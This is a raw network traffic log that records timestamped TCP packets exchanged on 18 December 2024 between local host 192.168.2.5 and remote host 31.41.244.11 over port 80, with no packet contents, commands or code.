Dec 18, 2024 21:30:17.645792961 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.646678925 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.646794081 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.647084951 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.647171974 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.647670031 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.647732973 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.647840023 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.647895098 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.648787975 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.648860931 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.648953915 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.649126053 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.649831057 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.649874926 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.650010109 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.650122881 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.650945902 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.651062012 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.651098013 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.651216030 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.652086973 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.652259111 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.652276039 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.652309895 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.653091908 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.653140068 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.653259039 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.653419018 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.654113054 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.654305935 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.654433966 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.655241966 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.655304909 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.655392885 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.655503988 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.656395912 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.656445026 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.656552076 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.657159090 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.657367945 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.657458067 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.657543898 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.657655954 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.658454895 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.658540964 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.658602953 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.658708096 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.659557104 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.659688950 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.659745932 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.659806013 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.660679102 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.660763025 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.660875082 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.660921097 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.661658049 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.661731005 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.661804914 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.661957026 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.662791014 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.662874937 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.662928104 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.662978888 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.663836956 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.663916111 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.663979053 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.664190054 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.664896965 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.665043116 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.665060997 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.665105104 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.666222095 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.666281939 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.666356087 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.666465044 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.667201996 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.667260885 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.667347908 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.667444944 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.668139935 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.668298960 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.668364048 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.668468952 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.669220924 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.669325113 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.669390917 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.669475079 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.670275927 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.670432091 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.670440912 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.670496941 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.671556950 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.671684027 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.671771049 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.671818972 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.672416925 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.672475100 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.672580957 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.672667980 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.673615932 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.673707962 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.673739910 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.673875093 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.674602985 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.674688101 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.674747944 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.674803019 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.675661087 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.675774097 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.675844908 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.675899029 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.676745892 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.676839113 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.676901102 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.676944017 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.677884102 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.677941084 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.678031921 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.678122044 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.678909063 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.678967953 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.679068089 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.679472923 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.680143118 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.680217028 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.680464029 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.680561066 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.681211948 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.681291103 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.816832066 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.816915989 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.816968918 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.817012072 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.817270994 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.817312002 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.817557096 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.817620039 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.818142891 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.818213940 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.818293095 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.818456888 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.819433928 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.819600105 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.819602013 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.819708109 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.820241928 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.820302010 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.820528030 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.820660114 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.821371078 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.821435928 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.821551085 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.821679115 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.822449923 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.822520018 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.822566032 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.822649002 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.823579073 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.823668957 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.823827028 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.824577093 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.824645996 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.824697018 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.824767113 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.825607061 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.825758934 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.825815916 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.825918913 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.826702118 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.826863050 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.826891899 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.826936007 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.827806950 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.827882051 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.827955961 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.827999115 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.828861952 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.828959942 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.829030991 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.829142094 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.829962015 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.830017090 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.830127001 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.830185890 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.831094027 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.831163883 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.831285954 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.831775904 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.832129002 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.832195044 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.832285881 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.832346916 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.833168983 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.833265066 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.833348989 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.833468914 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.834287882 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.834379911 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.834511042 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.834558964 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.835344076 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.835410118 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.835509062 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.835550070 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.836429119 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.836498022 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.836613894 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.836708069 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.837523937 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.837692976 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.837701082 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.837754965 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.838535070 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.838578939 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.838727951 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.838802099 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.839631081 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.839797020 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.839844942 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.839910030 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.840701103 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.840892076 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.840909004 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.841166019 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.841800928 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.841859102 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.841954947 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.842015982 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.842875004 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.843060017 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.843175888 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.843223095 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.844069004 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.844177008 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.844213009 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.844288111 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.845130920 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.845285892 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.845535040 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.845647097 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.846213102 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.846298933 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.846385956 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.847242117 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.847338915 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.847405910 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.847466946 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.848239899 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.848299026 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.848383904 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.848436117 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.849314928 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.849462986 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.849493980 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.849538088 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.850899935 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.850949049 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.851200104 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.851613045 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.852166891 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.852232933 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.852440119 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.852571964 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.853203058 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.853218079 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.853262901 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.853262901 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.854072094 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.854151011 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.854336023 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.854406118 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.854701996 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.854808092 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.854998112 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.855040073 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.855822086 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.855886936 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.855967999 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.856173038 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.856882095 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.857032061 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.857053995 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.857104063 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.857935905 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.858006001 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.858094931 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.858205080 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.859035015 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.859208107 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.859338999 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.860143900 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.860411882 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.860471010 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.861210108 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.861355066 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.861489058 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.862263918 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.862431049 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.862535954 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.863363981 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.863440990 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.863526106 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.864444971 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.864495039 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.864567995 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.865485907 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.865566015 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.865677118 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.865775108 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.866599083 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.866722107 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.866816044 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.867703915 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.867808104 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.867973089 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.868046045 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.868700981 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.868757010 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.868922949 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.868984938 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.869852066 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.869899988 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.870023012 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.870075941 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.870912075 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.870994091 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.871082067 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.871121883 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.871910095 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.872004986 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.872075081 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.872144938 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.873014927 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.873111963 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.059803009 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.059832096 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.059870958 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.059900045 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.060091972 CET	80	49804	31.41.244.11	192.168.2.5
